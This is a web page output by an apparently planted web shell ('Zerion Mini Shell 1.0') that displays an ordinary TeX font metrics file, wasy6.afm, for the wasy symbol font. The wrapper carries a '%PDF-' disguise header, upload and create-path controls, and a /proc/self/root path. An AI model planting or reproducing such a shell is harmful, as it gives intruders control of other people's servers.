%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/thread-self/root/usr/share/texlive/texmf-dist/fonts/afm/public/wasy/
Upload File :
Create Path :
Current File : //proc/self/root/proc/thread-self/root/usr/share/texlive/texmf-dist/fonts/afm/public/wasy/wasy6.afm

StartFontMetrics 4.0
Comment Copyright 1995, Richard J. Kinch
FontName wasy6
FullName wasy6
FamilyName wasy6
Comment UniqueID 0
FontBBox -25 -1667 2020 1321
Notice Copyright 1995, Richard J. Kinch
EncodingScheme FontSpecific
XHeight 431
ItalicAngle 0
StartCharMetrics 123
C 0 ; WX 806 ; N APLup ; B 78 -10 724 694 ;
C 1 ; WX 935 ; N lhd ; B 111 -48 821 548 ;
C 2 ; WX 935 ; N unlhd ; B 111 -148 821 642 ;
C 3 ; WX 935 ; N rhd ; B 111 -48 821 548 ;
C 4 ; WX 935 ; N unrhd ; B 111 -148 821 642 ;
C 5 ; WX 806 ; N therefore ; B 127 0 675 491 ;
C 6 ; WX 783 ; N recorder ; B 68 -45 677 564 ;
C 7 ; WX 1069 ; N phone ; B 49 0 1017 625 ;
C 8 ; WX 782 ; N checked ; B 65 0 723 694 ;
C 9 ; WX 611 ; N pointer ; B 46 0 555 644 ;
C 10 ; WX 518 ; N bell ; B 78 0 436 475 ;
C 11 ; WX 676 ; N eigthnote ; B 78 0 594 694 ;
C 12 ; WX 417 ; N quarternote ; B 78 0 335 694 ;
C 13 ; WX 417 ; N halfnote ; B 78 -37 335 694 ;
C 14 ; WX 481 ; N fullnote ; B 78 -16 400 211 ;
C 15 ; WX 870 ; N twonotes ; B 78 0 789 705 ;
C 16 ; WX 935 ; N LHD ; B 111 -21 821 521 ;
C 17 ; WX 935 ; N RHD ; B 111 -21 821 521 ;
C 18 ; WX 546 ; N lightning ; B 52 -97 491 694 ;
C 19 ; WX 1000 ; N ascnode ; B 52 -177 945 677 ;
C 20 ; WX 1000 ; N descnode ; B 52 -177 945 677 ;
C 21 ; WX 827 ; N invdiameter ; B 74 -87 749 587 ;
C 22 ; WX 935 ; N logof ; B 78 -139 853 639 ;
C 23 ; WX 852 ; N aries ; B 48 -10 801 706 ;
C 24 ; WX 806 ; N invneg ; B 78 83 724 363 ;
C 25 ; WX 588 ; N female ; B 78 -221 509 537 ;
C 26 ; WX 843 ; N male ; B 78 0 694 615 ;
C 27 ; WX 783 ; N currency ; B 68 -45 711 598 ;
C 28 ; WX 852 ; N clock ; B 94 0 754 660 ;
C 29 ; WX 935 ; N varprop ; B 111 53 821 447 ;
C 30 ; WX 935 ; N varangle ; B 92 -128 840 628 ;
C 31 ; WX 827 ; N diameter ; B 74 -87 749 587 ;
C 32 ; WX 417 ; N space ; B 0 0 0 0 ;
C 33 ; WX 1194 ; N rightturn ; B 236 -128 956 740 ;
C 34 ; WX 1194 ; N leftturn ; B 236 -128 956 740 ;
C 35 ; WX 935 ; N Circle ; B 78 -139 853 639 ;
C 36 ; WX 935 ; N leftmoon ; B 78 -141 557 641 ;
C 37 ; WX 935 ; N rightmoon ; B 375 -141 853 641 ;
C 38 ; WX 588 ; N earth ; B 78 0 509 759 ;
C 39 ; WX 588 ; N mercury ; B 78 -221 509 726 ;
C 40 ; WX 417 ; N leftarrowhead ; B 78 83 291 417 ;
C 41 ; WX 417 ; N rightarrowhead ; B 123 83 335 417 ;
C 42 ; WX 611 ; N uparrowhead ; B 111 -186 497 0 ;
C 43 ; WX 611 ; N downarrowhead ; B 111 0 497 186 ;
C 44 ; WX 852 ; N smiley ; B 94 0 754 660 ;
C 45 ; WX 852 ; N blacksmiley ; B 94 0 754 660 ;
C 46 ; WX 852 ; N sun ; B 50 -27 798 721 ;
C 47 ; WX 852 ; N frownie ; B 94 0 754 660 ;
C 48 ; WX 870 ; N agemO ; B 66 -21 801 683 ;
C 49 ; WX 870 ; N Bowtie ; B 84 40 783 643 ;
C 50 ; WX 812 ; N Box ; B 113 -41 695 541 ;
C 51 ; WX 838 ; N Diamond ; B 77 1 758 682 ;
C 52 ; WX 812 ; N XBox ; B 113 -41 695 541 ;
C 53 ; WX 812 ; N lozenge ; B 115 -39 694 539 ;
C 54 ; WX 812 ; N kreuz ; B 142 -13 667 513 ;
C 55 ; WX 765 ; N hexagon ; B 51 -39 711 539 ;
C 56 ; WX 1167 ; N octagon ; B 155 -178 1011 678 ;
C 57 ; WX 682 ; N varhexagon ; B 50 -80 629 580 ;
C 58 ; WX 806 ; N AC ; B -13 111 815 389 ;
C 59 ; WX 1194 ; N leadsto ; B -13 83 1113 417 ;
C 60 ; WX 935 ; N sqsubset ; B 121 -48 848 548 ;
C 61 ; WX 935 ; N sqsupset ; B 84 -48 811 548 ;
C 62 ; WX 935 ; N apprle ; B 111 -161 821 661 ;
C 63 ; WX 935 ; N apprge ; B 111 -161 821 661 ;
C 64 ; WX 935 ; N VHF ; B 52 -43 880 543 ;
C 65 ; WX 820 ; N hexstar ; B 58 -56 759 556 ;
C 66 ; WX 732 ; N varhexstar ; B 59 -100 671 600 ;
C 67 ; WX 732 ; N davidsstar ; B 59 -100 671 600 ;
C 68 ; WX 935 ; N pentagon ; B 95 -70 837 639 ;
C 69 ; WX 935 ; N pentastar ; B 161 57 771 639 ;
C 70 ; WX 806 ; N APLdown ; B 78 -10 724 694 ;
C 71 ; WX 935 ; N LEFTCIRCLE ; B 78 -139 466 639 ;
C 72 ; WX 935 ; N RIGHTCIRCLE ; B 466 -139 853 639 ;
C 73 ; WX 935 ; N Leftcircle ; B 78 -139 484 639 ;
C 74 ; WX 935 ; N Rightcircle ; B 447 -139 853 639 ;
C 75 ; WX 618 ; N UParrow ; B 36 -106 578 606 ;
C 76 ; WX 618 ; N DOWNarrow ; B 36 -106 578 606 ;
C 80 ; WX 417 ; N gluonelement ; B -13 -78 426 578 ;
C 81 ; WX 417 ; N gluonbelement ; B -13 223 426 578 ;
C 82 ; WX 417 ; N gluoneelement ; B -13 223 426 578 ;
C 85 ; WX 546 ; N inve ; B 46 -16 496 441 ;
C 86 ; WX 843 ; N conjunction ; B 78 0 694 615 ;
C 87 ; WX 1019 ; N opposition ; B 78 -108 963 887 ;
C 88 ; WX 738 ; N jupiter ; B 61 0 672 683 ;
C 89 ; WX 681 ; N saturn ; B 59 -194 616 683 ;
C 90 ; WX 588 ; N uranus ; B 78 -116 509 643 ;
C 91 ; WX 718 ; N neptun ; B 14 -181 573 681 ;
C 92 ; WX 681 ; N pluto ; B 65 0 616 683 ;
C 93 ; WX 852 ; N taurus ; B 158 -22 690 721 ;
C 94 ; WX 852 ; N gemini ; B 52 -65 797 759 ;
C 95 ; WX 1060 ; N cancer ; B 52 0 1005 694 ;
C 96 ; WX 1199 ; N virgo ; B 52 -194 1188 697 ;
C 97 ; WX 1199 ; N libra ; B 52 0 1144 508 ;
C 98 ; WX 1199 ; N scorpio ; B 52 -129 1188 694 ;
C 99 ; WX 732 ; N sagittarius ; B 78 0 710 632 ;
C 100 ; WX 852 ; N capricorn ; B 52 -10 808 694 ;
C 101 ; WX 1199 ; N aquarius ; B 52 -13 1144 444 ;
C 102 ; WX 852 ; N pisces ; B 52 0 797 694 ;
C 103 ; WX 611 ; N cent ; B 53 -194 562 630 ;
C 104 ; WX 1194 ; N permil ; B 79 -56 1113 756 ;
C 105 ; WX 676 ; N thorn ; B 57 -194 619 705 ;
C 106 ; WX 819 ; N Thorn ; B 67 0 737 683 ;
C 107 ; WX 611 ; N dh ; B 47 -10 563 694 ;
C 108 ; WX 579 ; N openo ; B 78 -16 589 441 ;
C 109 ; WX 917 ; N ataribox ; B -25 -71 942 1321 ;
C 110 ; WX 935 ; N APLuparrowbox ; B 78 -177 853 671 ;
C 111 ; WX 935 ; N APLdownarrowbox ; B 78 -171 853 677 ;
C 112 ; WX 935 ; N APLleftarrowbox ; B 78 -164 853 664 ;
C 113 ; WX 935 ; N APLrightarrowbox ; B 78 -164 853 664 ;
C 114 ; WX 514 ; N varint ; B 78 -1111 659 0 ;
C 115 ; WX 903 ; N iint ; B 79 -1111 1048 0 ;
C 116 ; WX 1292 ; N iiint ; B 79 -1111 1437 0 ;
C 117 ; WX 870 ; N varoint ; B 143 -1111 724 0 ;
C 118 ; WX 903 ; N oiint ; B 79 -1111 1048 0 ;
C 119 ; WX 676 ; N dispvarint ; B 78 -1667 853 0 ;
C 120 ; WX 1259 ; N dispiint ; B 79 -1667 1437 0 ;
C 121 ; WX 0 ; N dispiiint ; B 79 -1667 2020 0 ;
C 122 ; WX 676 ; N dispvaroint ; B 78 -1667 863 0 ;
C 123 ; WX 1259 ; N dispoiint ; B 79 -1667 1437 0 ;
C 124 ; WX 157 ; N brokenvert ; B 50 10 104 684 ;
C 125 ; WX 935 ; N APLinput ; B 78 -164 853 664 ;
C 126 ; WX 935 ; N APLbox ; B 78 -164 853 664 ;
C 127 ; WX 611 ; N APLcomment ; B 78 -27 529 583 ;
EndCharMetrics
StartKernData
StartKernPairs 0
EndKernPairs
EndKernData
EndFontMetrics

Zerion Mini Shell 1.0